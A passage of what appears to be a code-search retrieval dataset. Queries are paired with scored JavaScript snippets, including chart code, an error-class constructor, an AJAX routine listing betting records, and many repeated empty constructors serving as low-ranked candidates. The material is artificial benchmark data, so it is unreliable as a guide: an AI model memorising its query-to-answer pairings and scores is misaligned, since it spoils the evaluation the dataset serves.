görs bara 1 gång om bild-Data har genererats\n if (!hasBeenDrawn) {\n const buttonLabel = [(\"Make area-paths \"), (\"Make histogram bars\")];\n const button = document.createElement(\"button\");\n button.id = \"superSwitch\";\n button.innerHTML = buttonLabel[Number(drawLineChart)];\n const content = document.getElementsByClassName(\"content\");\n content[0].appendChild(button);\n button.addEventListener(\"click\", function () {\n drawLineChart = !drawLineChart;\n console.log(\"drawlinechart\" + drawLineChart)\n drawChart();\n button.innerHTML = buttonLabel[Number(drawLineChart)];\n });\n }\n}", "title": "" }, { "docid": "a3580794e73abe2682609a7f492d5317", "score": "0.46535125", "text": "function generateBreachLineArr(){\n\t\n\tvar length = ukcDepthSeriesArr.length;\n\tbreachLineArr = [];\n\t\n\tfor(i = 0; i< length ; i++ ){\n\t\tif(safetyMarginArr[i] > minimumUKCArr[i]){\n\t\t\tbreachLineArr.push([i,safetyMarginArr[i]]);\n\t\t\tbreachLineArr.push([i,minimumUKCArr[i]]);\n\t\t}else{\n\t\t\tbreachLineArr.push([i,null]);\n\t\t}\n\t}\n\tukcGraph.series[6].setData(breachLineArr,false);\n}", "title": "" }, { "docid": "843e9d5ea25c6ad1b3dd34d58eebd40d", "score": "0.46531335", "text": "function createCells(){\n\t\tret.cells = []; // flush cells\n\t\tret['container'].html(''); // Clear out existing visualisation\n\t\t//{ type : 'chart', css : 'sparkline', style : '', value : function(d){ return d['a'][0].slice(def.c,-13) }, object : 'sparkline', tooltip : 'I'm a sparkline'' } }\n\t\to.cells.forEach(function(e,i,a){\n\t\t\tvar cell = extendNew({},e);\n\t\t\tcell['id'] = o.name+\"_\"+i;\n\t\t\tcell['data'] = o.data;\n\t\t\tcell['container'] = ret.container.append('div')\n\t\t\t\t.attr('id',cell['id'])\n\t\t\t\t.attr('class',prefix(cell['css']))\n\t\t\t\t.attr('style',cell['style'])\n\t\t\t\t.html(cell['css']);\n\t\t\tif(cell['tooltip']){\n\t\t\t\tcell['container']\n\t\t\t\t\t.attr('title',cell['tooltip']);\n\t\t\t}\n\t\t\tif(e.init){\n\t\t\t\te.init(cell);\n\t\t\t} else {\n\t\t\t\tif(o[cell['type']]){\n\t\t\t\t\tif(o[cell['type']]['init']){\n\t\t\t\t\t\to[cell['type']]['init'](cell);\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t// console.log('No Cell Init found')\n\t\t\t\t\tcell['update'] = function(){\n\t\t\t\t\t\tcell['container'].html(updateFn());\n\t\t\t\t\t}\n\n\t\t\t\t\tfunction updateFn(){\n\t\t\t\t\t\tif(typeof(cell['value'])==='function'){\n\t\t\t\t\t\t\treturn cell['value'](cell['data']);\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn f(cell['value'])\n\t\t\t\t\t}\n\n\t\t\t\t\tcell['update']();\n\n\t\t\t\t}\n\t\t\t}\n\t\t\tret.cells.push(cell);\n\t\t\tret.cellsByRef[cell.id]=cell;\n\t\t\t//Handlers\n\t\t\tvar hdl = cell['eventHandlers'];\n\t\t\tif(hdl){\n\t\t\t\tfor(k in hdl){ // console.log(k);\n\t\t\t\t\tcell['container']\n\t\t\t\t\t\t.on(k,hdl[k])\n\t\t\t\t}\n\t\t\t}\n\t\t}); // console.log(ret.cells);\n\n\t\treturn;\n\t}", "title": "" }, { "docid": "5423066058ee79778b2e2f201ee26081", "score": "0.4652578", "text": "function besselTangents() {\n pointsBezier = [];\n \n var vetFirst, nextVet;\n var constFirst, constNext;\n var X, Y;\n var L = qtdPontosJuncao - 1;\n \n calcAlfas();\n \n for(var i = 1; i < L; i++) {\n vetFirst = {x: points[i].x - points[i-1].x, y: points[i].y - points[i-1].y};\n nextVet = {x: points[i+1].x - points[i].x, y: points[i+1].y - points[i].y};\n constFirst = (1 - alfas[i]) / intervals[i-1];\n constNext = alfas[i] / intervals[i];\n X = constFirst * vetFirst.x + constNext * nextVet.x;\n Y = constFirst * vetFirst.y + constNext * nextVet.y;\n vetores[i] = {x: X, y: Y};\n }\n \n calcIntermediatePointsBezir();\n\n // calculando os vetores dos extremos\n if(qtdPontosJuncao > 2) {\n var vet;\n if(isChecked === 0) {\n constFirst = 2 / intervals[0];\n vet = {x: points[1].x - points[0].x, y: points[1].y - points[0].y};\n X = constFirst * vet.x - vetores[1].x;\n Y = constFirst * vet.y - vetores[1].y;\n vetores[0] = {x: X, y: Y};\n\n constFirst = 2 / intervals[L-1];\n vet = {x: points[L].x - points[L-1].x, y: points[L].y - points[L-1].y};\n X = constFirst * vet.x - vetores[L-1].x;\n Y = constFirst * vet.y - vetores[L-1].y;\n vetores[L] = {x: X, y: Y};\n \n calcExtremePointsBezir();\n\n } else {\n constFirst = (1 - alfas[0]) / intervals[L];\n constNext = alfas[0] / intervals[0];\n vetFirst = {x: points[0].x - points[L].x, y: points[0].y - points[L].y};\n nextVet = {x: points[1].x - points[0].x, y: points[1].y - points[0].y};\n X = constFirst * vetFirst.x + constNext * nextVet.x;\n Y = constFirst * vetFirst.y + constNext * nextVet.y;\n vetores[0] = {x: X, y: Y};\n \n constFirst = (1 - alfas[L]) / intervals[L-1];\n constNext = alfas[L] / intervals[L];\n vetFirst = {x: points[L].x - points[L-1].x, y: points[L].y - points[L-1].y};\n nextVet = {x: points[0].x - points[L].x, y: points[0].y - points[L].y};\n X = constFirst * vetFirst.x + constNext * nextVet.x;\n Y = constFirst * vetFirst.y + constNext * nextVet.y;\n vetores[L] = {x: X, y: Y};\n \n calcExtremeClosed();\n }\n }\n}", "title": "" } ]
9eaff2432376681cce955618cdbb3793
See README.md for reference documentation.
[ { "docid": "af0a12603df6b88c3ccc4a8beaa4bd33", "score": "0.0", "text": "function VError()\n{\n\tvar args, obj, parsed, cause, ctor, message, k;\n\n\targs = Array.prototype.slice.call(arguments, 0);\n\n\t/*\n\t * This is a regrettable pattern, but JavaScript's built-in Error class\n\t * is defined to work this way, so we allow the constructor to be called\n\t * without \"new\".\n\t */\n\tif (!(this instanceof VError)) {\n\t\tobj = Object.create(VError.prototype);\n\t\tVError.apply(obj, arguments);\n\t\treturn (obj);\n\t}\n\n\t/*\n\t * For convenience and backwards compatibility, we support several\n\t * different calling forms. Normalize them here.\n\t */\n\tparsed = parseConstructorArguments({\n\t 'argv': args,\n\t 'strict': false\n\t});\n\n\t/*\n\t * If we've been given a name, apply it now.\n\t */\n\tif (parsed.options.name) {\n\t\tmod_assertplus.string(parsed.options.name,\n\t\t 'error\\'s \"name\" must be a string');\n\t\tthis.name = parsed.options.name;\n\t}\n\n\t/*\n\t * For debugging, we keep track of the original short message (attached\n\t * this Error particularly) separately from the complete message (which\n\t * includes the messages of our cause chain).\n\t */\n\tthis.jse_shortmsg = parsed.shortmessage;\n\tmessage = parsed.shortmessage;\n\n\t/*\n\t * If we've been given a cause, record a reference to it and update our\n\t * message appropriately.\n\t */\n\tcause = parsed.options.cause;\n\tif (cause) {\n\t\tmod_assertplus.ok(mod_isError(cause), 'cause is not an Error');\n\t\tthis.jse_cause = cause;\n\n\t\tif (!parsed.options.skipCauseMessage) {\n\t\t\tmessage += ': ' + cause.message;\n\t\t}\n\t}\n\n\t/*\n\t * If we've been given an object with properties, shallow-copy that\n\t * here. We don't want to use a deep copy in case there are non-plain\n\t * objects here, but we don't want to use the original object in case\n\t * the caller modifies it later.\n\t */\n\tthis.jse_info = {};\n\tif (parsed.options.info) {\n\t\tfor (k in parsed.options.info) {\n\t\t\tthis.jse_info[k] = parsed.options.info[k];\n\t\t}\n\t}\n\n\tthis.message = message;\n\tError.call(this, message);\n\n\tif (Error.captureStackTrace) {\n\t\tctor = parsed.options.constructorOpt || this.constructor;\n\t\tError.captureStackTrace(this, ctor);\n\t}\n\n\treturn (this);\n}", "title": "" } ]
[ { "docid": "6927536d1e5e6ea9e09687840fcf8cd8", "score": "0.6201785", "text": "init() {\n\t\t\n\t}", "title": "" }, { "docid": "dfbdc7a3daa3b9223c53834a26dedc70", "score": "0.6152433", "text": "initialize() {}", "title": "" }, { "docid": "dfbdc7a3daa3b9223c53834a26dedc70", "score": "0.6152433", "text": "initialize() {}", "title": "" }, { "docid": "dfbdc7a3daa3b9223c53834a26dedc70", "score": "0.6152433", "text": "initialize() {}", "title": "" }, { "docid": "dfbdc7a3daa3b9223c53834a26dedc70", "score": "0.6152433", "text": "initialize() {}", "title": "" }, { "docid": "dfbdc7a3daa3b9223c53834a26dedc70", "score": "0.6152433", "text": "initialize() {}", "title": "" }, { "docid": "dfbdc7a3daa3b9223c53834a26dedc70", "score": "0.6152433", "text": "initialize() {}", "title": "" }, { "docid": "dfbdc7a3daa3b9223c53834a26dedc70", "score": "0.6152433", "text": "initialize() {}", "title": "" }, { "docid": "dfbdc7a3daa3b9223c53834a26dedc70", "score": "0.6152433", "text": "initialize() {}", "title": "" }, { "docid": "4f1b399154edaf560218b25a2834fdc3", "score": "0.6100023", "text": "function __b_aPxD_aAgzT_aoP7hbI6qzoA(){}", "title": "" }, { "docid": "7d678a908387d6a25904c3fc4e17f5f5", "score": "0.5997869", "text": "configuring() {}", "title": "" }, { "docid": "61ca88693656d589c172066000bfffa2", "score": "0.594478", "text": "initialize() {\n }", "title": "" }, { "docid": "12db4a558e529d4ad0265ce7a6998bb8", "score": "0.5943545", "text": "main( ) {\n\t}", "title": "" }, { "docid": "595b0ec0e12e03e3803735abc4d9c721", "score": "0.59306383", "text": "init()\n\t{\n\n\t}", "title": "" }, { "docid": "a308107e35a1a704218cf445d9014b38", "score": "0.5870993", "text": "init() {\n\t}", "title": "" }, { "docid": "a308107e35a1a704218cf445d9014b38", "score": "0.5870993", "text": "init() {\n\t}", "title": "" }, { "docid": "c8b5ab86038bdb6473d08707aa85ab20", "score": "0.5865989", "text": "constructor() {\n\t}", "title": "" }, { "docid": "c16cda55c89b87c4ec7720269486eb07", "score": "0.58532566", "text": "constructor() {\n\n\t}", "title": "" }, { "docid": "c16cda55c89b87c4ec7720269486eb07", "score": "0.58532566", "text": "constructor() {\n\n\t}", "title": "" }, { "docid": "3ce43d32acc7ae6545d739091e4dee84", "score": "0.5837479", "text": "constructor()\n\t{\n\t\n\t}", "title": "" }, { "docid": "8cac41cff01e0a74ce4c333fcf9b86c2", "score": "0.58324087", "text": "init () {}", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5830071", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "a905db173a59ec31e0fe2ff73004491e", "score": "0.5826204", "text": "automate() {}", "title": "" }, { "docid": "069fa12d6ffc4f1cb9ef54cc58fcb53a", "score": "0.58039314", "text": "initialize() {\n\n }", "title": "" }, { "docid": "13d962699c156a2866a75384833bf18e", "score": "0.5785687", "text": "function Mechanism() {\n }", "title": "" }, { "docid": "3c5b7f7ea4a355a3b318db8a030022d7", "score": "0.5745991", "text": "init() {\n\t\t// Could be implemented\n\t}", "title": "" }, { "docid": "a7077a4f1e647d5307b2820242160657", "score": "0.5739167", "text": "constructor () { super('Documentation', '', 0, 80) }", "title": "" }, { "docid": "ce596583ba0a20482b08d4c190eb47ef", "score": "0.57335186", "text": "init() { }", "title": "" }, { "docid": "ce596583ba0a20482b08d4c190eb47ef", "score": "0.57335186", "text": "init() { }", "title": "" }, { "docid": "ce596583ba0a20482b08d4c190eb47ef", "score": "0.57335186", "text": "init() { }", "title": "" }, { "docid": "cc93fda6e9ad8cc897427b9884256c08", "score": "0.5731757", "text": "function Tq_aQrwWh_bD_aBOiNIUcEaAg(){}", "title": "" }, { "docid": "e2329a25e62e3100d9db7597f4de49a2", "score": "0.5717939", "text": "function setup() {}", "title": "" }, { "docid": "8320aca1d0dee89091818abac3f45630", "score": "0.5713171", "text": "constructor()\n\t{\n\t}", "title": "" }, { "docid": "1b47de04009042521d5f327f8ef740e4", "score": "0.5709151", "text": "function interface_doc(){\n}", "title": "" }, { "docid": "fd1508ced9cbb0898fc3b26ef7580f41", "score": "0.5675982", "text": "Main() { }", "title": "" }, { "docid": "76aba3d4adc4df6b8e70d9e59d42dbbc", "score": "0.5661095", "text": "startup() { }", "title": "" }, { "docid": "a6677f562f84f9c7424d39e0a3264163", "score": "0.5650334", "text": "Run()\n {\n\n }", "title": "" }, { "docid": "306a6831588985655a0f9fa260ba672f", "score": "0.5642086", "text": "constructor() {\n \n }", "title": "" }, { "docid": "306a6831588985655a0f9fa260ba672f", "score": "0.5642086", "text": "constructor() {\n \n }", "title": "" }, { "docid": "306a6831588985655a0f9fa260ba672f", "score": "0.5642086", "text": "constructor() {\n \n }", "title": "" }, { "docid": "306a6831588985655a0f9fa260ba672f", "score": "0.5642086", "text": "constructor() {\n \n }", "title": "" }, { "docid": "306a6831588985655a0f9fa260ba672f", "score": "0.5642086", "text": "constructor() {\n \n }", "title": "" }, { "docid": "306a6831588985655a0f9fa260ba672f", "score": "0.5642086", "text": "constructor() {\n \n }", "title": "" }, { "docid": "306a6831588985655a0f9fa260ba672f", "score": "0.5642086", "text": "constructor() {\n \n }", "title": "" }, { "docid": "306a6831588985655a0f9fa260ba672f", "score": "0.5642086", "text": "constructor() {\n \n }", "title": "" }, { "docid": "306a6831588985655a0f9fa260ba672f", "score": "0.5642086", "text": "constructor() {\n \n }", "title": "" }, { "docid": "306a6831588985655a0f9fa260ba672f", "score": "0.5642086", "text": "constructor() {\n \n }", "title": "" }, { "docid": "306a6831588985655a0f9fa260ba672f", "score": "0.5642086", "text": "constructor() {\n \n }", "title": "" }, { "docid": "306a6831588985655a0f9fa260ba672f", "score": "0.5642086", "text": "constructor() {\n \n }", "title": "" }, { "docid": "306a6831588985655a0f9fa260ba672f", "score": "0.5642086", "text": "constructor() {\n \n }", "title": "" }, { "docid": "306a6831588985655a0f9fa260ba672f", "score": "0.5642086", "text": "constructor() {\n \n }", "title": "" }, { "docid": "306a6831588985655a0f9fa260ba672f", "score": "0.5642086", "text": "constructor() {\n \n }", "title": "" }, { "docid": "306a6831588985655a0f9fa260ba672f", "score": "0.5642086", "text": "constructor() {\n \n }", "title": "" }, { "docid": "306a6831588985655a0f9fa260ba672f", "score": "0.5642086", "text": "constructor() {\n \n }", "title": "" }, { "docid": "306a6831588985655a0f9fa260ba672f", "score": "0.5642086", "text": "constructor() {\n \n }", "title": "" }, { "docid": "c9178323c2f9cef046a9c940e3f92f22", "score": "0.5640409", "text": "constructor () {}", "title": "" }, { "docid": "8ac34a2f799aa096764940bb06056c62", "score": "0.56383765", "text": "function Descriptor() {}", "title": "" }, { "docid": "a31f9c7adbeaaca36d0362994bc62127", "score": "0.5632664", "text": "function Stewdio() {}", "title": "" }, { "docid": "b7084992218bc4aa6aadb80055d427e6", "score": "0.5630817", "text": "function _4Xmw8hHFnzuUOt7IaRLq5g() {}", "title": "" }, { "docid": "1672eefa6633f9d12e122cd81f587d82", "score": "0.56264985", "text": "help() {\n throw new Error('This method must be implemented.');\n }", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.56201476", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.56201476", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.56201476", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.56201476", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.56201476", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.56201476", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.56201476", "text": "init() {}", "title": "" } ]
1ebc29c3cdc6954c5952f82c03313c06
\ Retrieving baiting person details \
[ { "docid": "109b2aec7f3aab7859a1e026931815df", "score": "0.0", "text": "function baiting_person(race_id1, horse_id1,wp) {\n var dataString = \"raceid=\" + race_id1 + \"&horseid=\" + horse_id1 + \"&w_or_p=\" + wp +\"&retrievePerson=1\",bp = '<table>',len, i, data1;\n $.ajax({//retrievePerson triggers the function call in server side to retrieve the baiting person details\n url: '../bait.php',\n data: dataString,\n type: \"POST\",\n async: false,\n success: function (data2) {\n data1 = jQuery.parseJSON(data2);\n\t\t\tif(data1!='') {\n len = data1.length;\n\t\t\tvar strid='';\n for (i = 0; i < len; i++) {//this finds the baiting person\n\t\t\tstrid=horse_id1 +\"-\"+ race_id1 +\"-\"+ data1[i].pid +\"-\"+ data1[i].bid;\n\t\t\tif(wp==1) {\n\t\t\t\tbp += \"<tr class='ontrhover' id='\"+ strid +\"'><td class='mobodds' contenteditable='true'>\" + data1[i].odds + \"</td><td class='mobbait' contenteditable='true'>\" + data1[i].bait_amount + \"</td><td class='mobmid' contenteditable='true'>\" + data1[i].name + \"</td></tr>\";\n\t\t\t}\n\t\t\telse {\n\t\t\t\tbp += \"<tr class='ontrhover' id='\"+ strid +\"'><td class='mobodds1' contenteditable='true'>\" + data1[i].odds + \"</td><td class='mobbait1' contenteditable='true'>\" + data1[i].bait_amount + \"</td><td class='mobmid1' contenteditable='true'>\" + data1[i].name + \"</td></tr>\";\n\t\t\t}\n\t\t\t}\n\t\t\tif(wp==1)\n\t\t\tbp+=\"</table><table><tr id='addBaitWin-\"+race_id1+\"-\"+horse_id1+\"' class='oddsamtname'><td><input id='oddsMobWin\"+horse_id1+\"' class='baitmob1' type='text'></td><td><input class='baitmob2' type='text'></td><td><input class='baitmob3' type='text'></td></tr></span></table>\";\n\t\t\telse\n\t\t\tbp+=\"</table><table><tr id='addBaitPlace-\"+race_id1+\"-\"+horse_id1+\"' class='oddsamtname1'><td><input id='oddsMobPlace\"+horse_id1+\"' class='baitmob11' type='text'></td><td><input class='baitmob22' type='text'></td><td><input class='baitmob33' type='text'></td></tr></span></table>\";\n\t\t\t}\n\t\t\telse {\n\t\t\t\tif(wp==1)\n\t\t\t\tbp+=\"</table><table><tr id='addBaitWin-\"+race_id1+\"-\"+horse_id1+\"' class='oddsamtname'><td><input id='oddsMobWin\"+horse_id1+\"' class='baitmob1' type='text'></td><td><input class='baitmob2' type='text'></td><td><input class='baitmob3' type='text'></td></tr></span></table>\";\n\t\t\t\telse\n\t\t\t\tbp+=\"</table><table><tr id='addBaitPlace-\"+race_id1+\"-\"+horse_id1+\"' class='oddsamtname1'><td><input id='oddsMobPlace\"+horse_id1+\"' class='baitmob11' type='text'></td><td><input class='baitmob22' type='text'></td><td><input class='baitmob33' type='text'></td></tr></span></table>\";\n\t\t\t}\n }\n });\n return bp;\n}", "title": "" } ]
[ { "docid": "4cbc40d43d48a2c29df8ec973ba4acbd", "score": "0.6558486", "text": "function getDetails() {\n const CANDIDATE_DETAIL = verifyData[0].candidates[0].personId;\n const PERSON_DETAILS_URL =\n URL + \"/persongroups/\" + GROUP_ID + \"/persons/\" + CANDIDATE_DETAIL;\n axios({\n method: \"get\",\n headers: {\n \"content-type\": \"application/json\",\n \"Ocp-Apim-Subscription-Key\": API_KEY\n },\n url: PERSON_DETAILS_URL\n })\n .then(response => {\n // console.table(response.data)\n candidateName = response.data.name;\n console.log(candidateName);\n personName.innerHTML = candidateName;\n })\n .catch(err => {\n ifError();\n console.error(err.message);\n });\n}", "title": "" }, { "docid": "d5ee2d6d01e41ac440dcedf00af8e10f", "score": "0.6217231", "text": "function getPersonBio(id) {\n apiUrlgetPersonBio = \"https://api.themoviedb.org/3/person/\" + id + \"?api_key=\" + apiKey;\n fetch(apiUrlgetPersonBio)\n .then(function (response) {\n return response.json()\n })\n .then(function (data) {\n $(\"#personBio\").text(data.biography);\n $(\"#personName\").text(data.name);\n\n })\n}", "title": "" }, { "docid": "6dc38a361602647eeb76c4d89de5d5c4", "score": "0.6105392", "text": "showPersonInformation() {\n\t\tlet info = 'Name: ' + this._name + '\\n' + 'Age: ' + this._age;\n\t\treturn info;\n\t}", "title": "" }, { "docid": "2b229409bfbbdd6b4f7587dfb98c9e35", "score": "0.60555834", "text": "function getNames(person)\n{\n return person.name;\n}", "title": "" }, { "docid": "8539a782abed77f8f923748d58f51fdf", "score": "0.60218316", "text": "function showPerson(){\n getPerson(id)\n }", "title": "" }, { "docid": "379cc900a5ca0e5a13e2b600a3bb4d19", "score": "0.6001859", "text": "function showPerson(person) {\r\nconst item = references[person];\r\nname.textContent = item.name;\r\nemail.textContent = item.email;\r\nbusiness.textContent = item.business;\r\n}", "title": "" }, { "docid": "a591e93227f56dd7d5718522e170791c", "score": "0.59953123", "text": "function getPeople() {\n\n}", "title": "" }, { "docid": "2f3b97063ac74477e4481dd5f67a5e7c", "score": "0.598905", "text": "getPersons() {\n return this.#fetchAdvanced(this.#getPersonsURL()).then((responseJSON) => {\n let personBOs = PersonBO.fromJSON(responseJSON);\n \n return new Promise(function (resolve) {\n resolve(personBOs);\n });\n });\n }", "title": "" }, { "docid": "f3c5e4508bf5fb49d8bac429ed08e6e0", "score": "0.5949102", "text": "function getMemberDetails(personID) {\n\t$.ajax({\n\t\turl: \"https://data.parliament.scot/api/members\",\n\t\ttype: \"get\",\n\t\tdataType: \"json\",\n\t\tsuccess: function(data) {\n\t\t\tfor(i = 0; i<data.length; i++) {\n\t\t\t\tif (personID == data[i].PersonID) {\n\t\t\t\t\tmspName = data[i].ParliamentaryName;\n\t\t\t\t\tphotoURL = data[i].PhotoURL;\n\t\t\t\t}\n\t\t\t}\n\t\t\tgetMemberParty(personID);\n\t\t}\n\t});\n}", "title": "" }, { "docid": "243c574296293b8fa3da5b2c01a98e13", "score": "0.59266007", "text": "function showPersonalityInformation (){\n loadPersonality();\n\n let fullName = document.getElementById('fullName');\n fullName.textContent=` ${info.getname().firstName} ${info.getname().lastName}`;\n let birthDate = document.getElementById('bDate');\n birthDate.textContent = `${info.getname().bDate}`;\n let emailAddress = document.getElementById('eMail');\n emailAddress.textContent=`${info.getname().eMail} `;\n let telephone = document.getElementById('telephone');\n telephone.textContent = `${info.getname().telephonePersonal} `;\n let localAddress = document.getElementById('localAddress');\n localAddress.textContent = `${info.getname().locAddress} `;\n}", "title": "" }, { "docid": "236bdfabc5470806a4a4a6307d2b059c", "score": "0.588335", "text": "function getMemberParty(personID) {\n\t$.ajax({\n\t\turl: \"https://data.parliament.scot/api/memberparties\",\n\t\ttype: \"get\",\n\t\tdataType: \"json\",\n\t\tsuccess: function(data) {\n\t\t\tfor(i = 0; i<data.length; i++) {\n\t\t\t\tif (personID == data[i].PersonID) {\n\t\t\t\t\tpartyID = data[i].PartyID;\n\t\t\t\t}\n\t\t\t}\n\t\t\tgetPartyName(partyID);\n\t\t}\n\t});\n}", "title": "" }, { "docid": "b9a7fb2513538ff916fe1d85eab294b3", "score": "0.58824", "text": "function showPerson(person) {\n const item = review[person];\n img.src = item.img;\n autor.textContent = item.name;\n job.textContent = item.job;\n info.textContent = item.text;\n}", "title": "" }, { "docid": "a152e24aef4f89236e8c298da49f63e5", "score": "0.58630145", "text": "function getPerson(callback) {\n const url = `https://randomuser.me/api/`;\n const ajax = new XMLHttpRequest();\n ajax.open(\"GET\", url, true);\n\n ajax.onload = function() {\n if (this.status === 200) {\n callback(this.responseText, showData);\n } else {\n console.log(this.statusText);\n }\n };\n\n ajax.onerror = function() {\n console.log(\"there was an error\");\n };\n ajax.send();\n}", "title": "" }, { "docid": "6cfbd94d1665839bbfb3a5857e9a6153", "score": "0.5835695", "text": "function fullName(person) {\n console.log(person.firstName + \" \" + person.lastName);\n}", "title": "" }, { "docid": "6cfbd94d1665839bbfb3a5857e9a6153", "score": "0.5835695", "text": "function fullName(person) {\n console.log(person.firstName + \" \" + person.lastName);\n}", "title": "" }, { "docid": "43d290b6498544ab9f86c759be6391e0", "score": "0.582601", "text": "function retrieveBFHData() {\n\treturn rp(config_bfh)\n\t\t.then(function (body) {\n\t\t\tlet birthDate = new Date(body.birthDate);\n\t\t\t// integrity check with birthDate\n\t\t\tif (birthDate.getFullYear() > 2000) {\n\t\t\t\t// returns empty object if patient is too young\n\t\t\t\treturn JSON.stringify({});\n\t\t\t}\n\t\t\tconsole.log(body)\n\t\t\treturn body;\n\t\t})\n\t\t.catch(function (err) {\n\t\t\treturn console.log(err);\n\t\t});\n}", "title": "" }, { "docid": "e2940dc3c270ea35be36575deeb43c57", "score": "0.58258814", "text": "function getFullName(person) {\n return person.firstName + \" \" + person.lastName;\n}", "title": "" }, { "docid": "b58660c9599af1ef411e70ed93b832f5", "score": "0.581716", "text": "function personInfo(name, age, height, mass, job){\n console.log(\"name: \" +name)\n console.log(\"age: \" +age+\" yrs\")\n console.log(\"mass: \"+ mass +\" kg\")\n console.log(\"height: \" +height + \" m\")\n console.log(\"occupation: \" + job)\n}", "title": "" }, { "docid": "1adcb586e92ccd5ad7835672ee3888eb", "score": "0.58164036", "text": "function getPerson(res, mysql, context, id, 